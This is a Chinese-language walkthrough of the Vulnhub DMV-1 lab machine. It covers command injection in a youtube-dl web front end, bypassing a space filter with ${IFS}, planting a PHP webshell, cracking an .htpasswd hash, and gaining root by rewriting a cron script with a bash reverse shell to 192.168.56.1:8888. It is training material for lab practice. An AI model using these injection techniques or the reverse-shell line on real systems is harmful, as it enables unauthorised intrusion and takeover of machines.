Vulnhub-Dmv-1

这个靶机是在vulnhub找到的,不过你也可以在Tryhackme的在线连接中使用。

信息收集

nmap 扫描

路径扫描

访问url后,发现似乎是个可以输入youtube视频的id转换为mp3的网站,admin路径要求帐号密码,所以暂时行不通。随便输入一个字符串作为视频id,捕获下请求,看下错误状态

根据错误信息,谷歌后发现这是用了一个程序。youtubedl,看了下修复记录,好像没什么可以利用的。再看看这个程序的帮助指令。结果看到了这个东西。。似乎还能执行命令。所以姑且猜测是错误利用?

脆弱利用


但是如果你直接这样去输入命令执行是不成功的。

因为是linux系统,所以可以直接试试id,这样虽然是成功了,但是输出的信息不够全

因为懒,所以直接用burpsuite的爆破模块去测试特殊字符。

最后发现<这个符号很特殊,只有他输出的是没有找到该文件

返回重放模块,尝试下

1
<`id`

然后我就执行不成功了,,可能是之前写了个<id。然后我这里换成了ls就执行成功了。(可能是id被当成了一个文件生成了。

现在可以执行命令了,但是空格还是被过滤了,空格被过滤就代表有很多命令不能使用了。所以得找个办法绕过空格的方式。经过谷歌后,找到了bash中的一个变量${IFS}是可以用来代替空格的。shell:处理文件中的空格

现在就简单了,目标站点是用php环境的,空格过滤也被绕过了。那么直接wget一个句话就好了。

访问下我们的一句话,看看是否成功。

phpinfo信息已经被打印出来了,直接蚁剑连上去就好了。

提权

连上去后访问admin目录,找到flag

访问.htpasswd文件获得的密码

$apr是md5的apache加密,hashcat模式为1600,直接放在hashcat跑一下就出来了,是个弱密码。(不过跑出来了好像也没什么作用。。。
/tmp目录下是一个clean.sh,看起来是删除下载目录下的文件

1
rm -rf downloads

不过这个downloads目录在哪呢。。看起来不在dmv用户目录下(find也找不到,说明这个目录在www用户权限之外),随便一提在这里我已经用我能用的手段了,都没有找到能提权的方法。(也许这就是菜吧
询问大佬后,他们建议我使用pspy来监控正在运行的程序,所以之后我发现了一个东西


UID=33是www-data用户,但是UID=0是谁就不用我多说了吧。看起来root用户会定时每分钟去执行/var/www/html/tmp/clean.sh这个脚本,那我们是不是可以修改这个脚本文件,来获得root的shell呢。
将以下代码写入clean.sh

clean.sh
1
bash -c 'bash -i >& /dev/tcp/192.168.56.1/8888 0>&1'

开启监听8888端口。

ok!看起来我们已经成功拿到shell了。我原以为downloads会在root的家目录下,不过当我拿到shell之后,发现并不是这样的。我看crontab下也没有定时执行的工作。不明白是在哪里运行的。如果你知道,烦请您能告诉我。

总结

当进入一台机器后,也要看下目标机器运行的任务,最好能用像pspy这样的程序来监控。
url应用程序中的测试,要学会使用fuzz测试,不要傻傻的自己手测,多浪费时间啊。